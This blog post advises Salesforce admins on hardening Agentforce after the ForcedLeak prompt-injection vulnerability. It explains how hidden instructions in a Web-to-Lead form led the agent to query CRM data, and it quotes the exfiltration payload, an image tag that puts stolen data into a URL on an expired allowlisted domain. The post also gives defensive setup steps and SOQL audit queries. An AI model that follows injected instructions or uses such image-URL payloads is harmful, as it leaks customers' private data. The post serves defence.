Skip to content

Post-ForcedLeak: Hardening Agentforce Against Prompt Injection (The Setup Steps Nobody Published)

ForcedLeak turned a $5 domain into an Agentforce data-exfiltration channel. The concrete Setup hardening steps to shrink your prompt-injection blast radius.

TL;DR

  • ForcedLeak was a critical (CVSS 9.4) vulnerability chain in Salesforce Agentforce, disclosed on 25 September 2025 by Noma Security. An attacker hid instructions in a Web-to-Lead form, an employee later asked Agentforce to process the lead, and the agent read the payload as a command and leaked CRM data.
  • The exfiltration channel was an image URL pointing at my-salesforce-cms.com, a domain that had been on Salesforce's Content Security Policy (CSP) allowlist, had expired, and was bought by the researchers for about $5. That trusted-but-abandoned domain is the whole story.
  • Salesforce re-secured the expired domain and now enforces a Trusted URL allowlist for Agentforce and Einstein generative AI (rolled out 8 September 2025), so agents can no longer call or generate links that are not on your list.
  • The patch closes that specific channel. It does not solve prompt injection. There is still no reliable way for a model to tell your instructions apart from instructions buried in the data it reads.
  • So the admin job is blast-radius reduction, not a fix. Five things you can change in Setup today, plus an "if you did nothing else" triage list at the end.

What You'll Learn

  • Exactly how ForcedLeak worked, in enough detail to reason about the next one
  • How to audit Setup > Trusted URLs and find the stale domain that becomes an exfiltration channel
  • Why you cannot filter your way out of prompt injection, and what to do instead
  • How to find your Agentforce run-as user and strip its access to what it does not need (with the SOQL)
  • Which Event Monitoring signals catch an agent being abused

The Problem

Every write-up of ForcedLeak is incident news: what it was, who found it, how bad the score was. Almost none of them tell an admin what to change in their own org on Monday morning. That is the gap I want to close.

Here is the uncomfortable part. Salesforce patched ForcedLeak. The exact channel it used is closed. But ForcedLeak was not a bug in the ordinary sense of a mistyped condition or a missing access check. It was the predictable result of pointing a large language model (LLM) at attacker-controlled text and giving it tools. The model cannot reliably distinguish "this is data about a lead" from "this is an instruction to query records and send them somewhere." That property has not been fixed by anyone, at any vendor, and pretending otherwise is how you get the next incident.

So this post treats the patch as necessary and insufficient. The goal is not to make your agent injection-proof, because you cannot. The goal is to make sure that when (not if) an injection lands, the agent it lands on can see less, reach less, and be noticed faster.

Common questions this article answers:

  • ForcedLeak is patched, so is there anything left for me to do?
  • Can I just filter out prompt-injection payloads with a validation rule?
  • What can my Agentforce agent actually see, and how do I shrink that?

Quick Answer

Prompt injection is not solved, so harden for blast-radius reduction. Five steps, all in Setup. First, confirm the Trusted URL enforcement for Agentforce is active and audit Setup > Trusted URLs, deleting any stale or expired domain (that is literally what ForcedLeak abused). Second, treat every free-text field an agent can read (Web-to-Lead, Web-to-Case, email-to-case, chat transcripts) as hostile input; add validation and length limits, but do not believe filtering solves the problem. Third, least-privilege the agent run-as user, because what the agent can see is what an injected prompt can steal; review its profile and permission sets and strip field access it does not need. Fourth, scope each agent narrowly with topics, actions, and instructions, and never give one agent both broad CRM read access and a channel that renders URLs or images. Fifth, watch Event Monitoring for the agent user's query volume and unusual lead access. If you do only one thing, delete stale Trusted URLs and cut the agent user's Read access to the objects it does not need.

How ForcedLeak actually worked

Four moving parts, and understanding them is what lets you reason about the class of attack rather than this one instance.

The injection vector was a free-text field. Noma Labs picked the Description field on the Web-to-Lead form because it accepts up to 42,000 characters, far more room than Company (40) or Email (80) for a full set of hidden instructions. Web-to-Lead is unauthenticated by design: anyone on the internet can submit one. So an attacker fills the Description with something that reads, to a model, like a command.

A human triggered it, unknowingly. Nothing happens until an employee does something completely normal: asking Agentforce to summarise or process recent leads. From the victim's side this is zero-click. They never see the payload. The agent reads the lead record, the payload is in the record, and the agent treats the buried instructions as part of its task.

The agent executed and queried. Having no mechanism to separate attacker instructions from legitimate data, the agent followed the embedded commands, queried CRM data it had access to, and prepared to send it out.

The exfiltration used a trusted, expired domain. The payload told the agent to include an image: <img src="https://cdn.my-salesforce-cms.com/c.png?n={{answer3}}" ...>, with the stolen data pasted into the query string. Rendering that image is a GET request to the attacker's server, carrying the data. It worked because my-salesforce-cms.com was on Salesforce's CSP allowlist, so the browser trusted it, but the domain registration had lapsed and the researchers bought it for roughly $5. A trusted domain that nobody owns anymore is an open door with a "staff only" sign on it.

Salesforce re-secured the expired domain and, more importantly, changed the model: agents now enforce your Trusted URL allowlist, so an agent cannot call or generate a link that is not on your list. Unapproved URLs get replaced with URL_Redacted and an error appears in the plan canvas. That is a real structural fix for the output channel. It does not stop the agent from being told what to do; it stops it from having somewhere to send the answer.

Step 1: Audit Trusted URLs and delete anything stale

The exfiltration channel was a stale allowlisted domain, so start where the damage happened.

First, confirm the enforcement is on. In Setup, use Quick Find to open Release Updates, and look for the Trusted URL enforcement for Agentforce and Einstein generative AI (it began rolling out 8 September 2025). Confirm it is active for your org rather than assuming it arrived with a release.

Then audit the list itself. In Setup, Quick Find > Trusted URLs. Go through every entry and ask two questions about each: do we still use this, and does anyone still own it? The second question is the ForcedLeak question. A domain can sit on your allowlist for years after the vendor folds or the project dies, and the day its registration lapses it becomes buyable by anyone.

To check registration expiry on a domain from the list, a WHOIS lookup is enough:

# Check when a trusted domain's registration expires (or if it has lapsed)
whois cdn.example-vendor.com | grep -i "expir"

Anything expired, expiring soon, or belonging to a vendor you no longer use: remove it from Trusted URLs. If you manage this list as metadata, the underlying component is CspTrustedSite, so you can also review it in source control rather than clicking through Setup. If you run the sf-audit plugin, its CSP trusted-sites check surfaces this list as part of a wider audit, which is a fast way to cross-check what you find by hand.

One honest caveat: keep the allowlist tight, but do not empty it blindly. Legitimate agent workflows (an external knowledge base, a feedback form) need their domains present or the agent breaks. Review your agent flows for the URLs they genuinely call, add those, and remove the rest.

Step 2: Treat every agent-readable free-text field as hostile

ForcedLeak entered through Web-to-Lead, but the lesson generalises. Any channel that puts external text in front of an agent is an injection vector: Web-to-Lead, Web-to-Case, email-to-case, chat transcripts, even a Description an external portal user can edit. If an agent reads it, an attacker can write to it.

You can and should reduce the noise. Validation rules and flows can flag submissions that look like instructions or contain HTML image tags. Length limits on free-text fields cut the room available for a full payload (Web-to-Lead Description at 42,000 characters is a lot of room). These are worth doing.

But be clear-eyed about the ceiling. Prompt injection is a natural-language problem, and instruction-versus-data is not a distinction a regex can draw. An attacker can rephrase, translate, encode, or split a payload until your filter misses it, and the same flexibility that makes an LLM useful makes the input space impossible to enumerate. Anyone selling you a filter that "stops prompt injection" is selling you a speed bump described as a wall.

So filter to cut volume, and assume some payloads get through. The real defence is the next three steps: make sure that when one does get through, it lands on an agent that cannot see or reach much.

Step 3: Your agent user can see too much

This is the highest-impact change, because it directly bounds the damage. An Agentforce agent runs as a user. Whatever that user can read, an injected prompt can read, and therefore exfiltrate. If your agent runs as something with broad Read access "to be safe," you have quietly made every free-text field in the org a query into your most sensitive objects.

Find the agent user and see what it holds. Start by locating the run-as user (Agentforce agents use a designated user, often an Einstein Agent User). You can list candidates and then pull their permission set assignments:

-- Find likely agent/integration run-as users
SELECT Id, Name, Username, Profile.Name, IsActive
FROM User
WHERE IsActive = true
  AND (Profile.Name LIKE '%Agent%' OR Profile.Name LIKE '%Integration%')
ORDER BY Profile.Name
-- List everything granting that user access: profile is one line, the
-- permission sets and permission set groups are the rest of the story
SELECT PermissionSet.Name, PermissionSet.Type, PermissionSet.IsOwnedByProfile
FROM PermissionSetAssignment
WHERE AssigneeId = '005XXXXXXXXXXXXXXX'
ORDER BY PermissionSet.Type

Run both in the Developer Console query editor or with sf data query. The second query is the important one: a user's real power is the union of its profile and every permission set and permission set group assigned to it, and admins routinely underestimate that union.

Then cut it down. For each object and field the agent does not need for its actual job, remove the grant. If the agent answers questions about open cases, it does not need Read on payroll fields, on the full contact database, or on financial records. Object permissions and field-level security are where you do this. The test is simple: for every field the agent can read, ask whether you would be comfortable seeing it appear in an image URL leaving your org. If not, the agent should not be able to read it.

For inventorying integration and service accounts like this across an org, sf-audit's integration-user and privileged-access checks list who holds what, which is a quicker starting point than reading assignments by hand. It does not have an Agentforce-specific check, so treat it as a way to inventory the users, then do the field-level trimming yourself.

Step 4: Scope agents narrowly, and never combine broad read with a rendering channel

Agentforce agents are built from topics, actions, and instructions. Each is a chance to shrink the surface.

Give an agent only the topics and actions it needs. An agent that qualifies leads needs lead actions; it does not need a general "query any record" capability. Every action you do not grant is an action an injected prompt cannot invoke. Write the agent instructions to state its job narrowly, and remember that instructions are guidance, not a security boundary: a determined injection can talk over them, which is exactly why the permission trimming in Step 3 matters more than the wording.

The combination to avoid is the one ForcedLeak needed: broad CRM Read access and a channel that renders URLs or images. That pairing is what turns "the agent can see data" into "the agent can send data out." If an agent needs wide read access, keep it away from surfaces that render external content. If it must render content for users, keep its read access tight. Do not build the one agent that has both. The Trusted URL enforcement now blocks the specific rendering trick, but designing so that no single agent holds both capabilities is defence that does not depend on one control staying perfect.

Step 5: Watch the agent user in Event Monitoring

Prevention leaks, so you also want to see abuse after the fact. You do not need Shield to start: every Enterprise, Unlimited, and Performance org gets daily EventLogFile logs for free, and the agent run-as user is a great thing to baseline. I wrote up the free capture approach in Free Salesforce Event Monitoring: Build a Security Baseline from EventLogFile Without Shield; the short version is capture the logs daily because free-tier retention is about a day.

Signals worth watching for the agent user specifically:

  • API and query volume from the agent user. An injection that queries CRM data and dumps it shows up as a spike in read activity from an account that normally runs a predictable pattern. Baseline its normal, then alert on the deviation.
  • Unusual object access. An agent scoped to leads that suddenly reads Contacts, Opportunities, or a custom object holding sensitive data is either misconfigured or being driven. Either way you want to know.
  • Blocked URL events. With Trusted URL enforcement on, an agent trying to reach an unapproved URL produces an error and a URL_Redacted replacement. Treat repeated blocked-URL attempts from an agent as a possible injection in progress, not just a misconfigured flow.

You will not catch a subtle single-record leak this way, but you will catch the bulk-read-and-exfiltrate pattern that the interesting attacks need, and that is the pattern worth catching.

If you did nothing else

A short triage list, in priority order, for the admin who has ten minutes:

  1. Delete stale Trusted URLs. Setup > Trusted URLs, remove anything expired or belonging to a dead vendor. This is the exact channel ForcedLeak used.
  2. Confirm Trusted URL enforcement is active for Agentforce in Release Updates.
  3. Cut the agent user's Read access to objects and fields it does not need. What it can see is what an injection can steal.
  4. Baseline the agent user in EventLogFile so a query spike or unusual object access is visible.

Everything else in this post makes those four stronger, but those four are the ones that shrink the blast radius the most for the least effort.

Frequently Asked Questions

ForcedLeak is patched. Isn't my org already safe?

The specific vulnerability is closed: Salesforce re-secured the expired domain and now enforces the Trusted URL allowlist so agents cannot send output to arbitrary URLs. But the underlying weakness, that an LLM cannot reliably separate instructions from the data it reads, is not fixed, because nobody in the industry has fixed it. The patch removed one exfiltration channel. The right posture is to assume another class of injection will surface and to reduce what any single agent can see and reach, so the next one does less.

Can I just block prompt injection with a validation rule or a filter?

No, and it is important to be honest about this. Validation rules and length limits reduce the volume of obvious payloads, which is worth doing, but instruction-versus-data is a natural-language distinction that regex and keyword filters cannot draw reliably. Attackers rephrase, encode, or translate around filters. Use filtering to cut noise, then rely on least privilege and narrow scoping for the payloads that inevitably get through.

What is the single most effective change I can make?

Reduce what the agent run-as user can read. An Agentforce agent runs as a user, and an injected prompt inherits exactly that user's visibility. If the agent can only read the handful of objects and fields its job requires, then even a successful injection can only exfiltrate that handful. Broad Read access on the agent user is what turns a nuisance into a breach.

Key Takeaways

  • ForcedLeak was a design consequence, not a typo. Attacker text plus a model plus tools plus an output channel equals exfiltration. The patch closed the channel, not the class.
  • The exfil path was a $5 expired domain on the CSP allowlist. Audit Setup > Trusted URLs and delete anything stale or unowned; that is the concrete lesson.
  • You cannot filter your way out of prompt injection. Filter to reduce volume, then design so a payload that lands does little.
  • Least-privilege the agent run-as user. What it can read is what an injection can steal; trim object and field access hard.
  • Scope agents narrowly and never pair broad read with a rendering channel, then baseline the agent user in Event Monitoring so abuse is visible.

What's Next?

Recommended Reading:

Action Items:

  1. Open Setup > Trusted URLs, WHOIS-check anything unfamiliar, and delete expired or dead-vendor domains today.
  2. Run the two SOQL queries above to find your agent run-as user and its full permission set, then strip Read access it does not need.
  3. Baseline the agent user's API and object access in EventLogFile, and alert on query spikes and repeated blocked-URL events. Then work through the companion Agentforce footprint audit.

Resources & References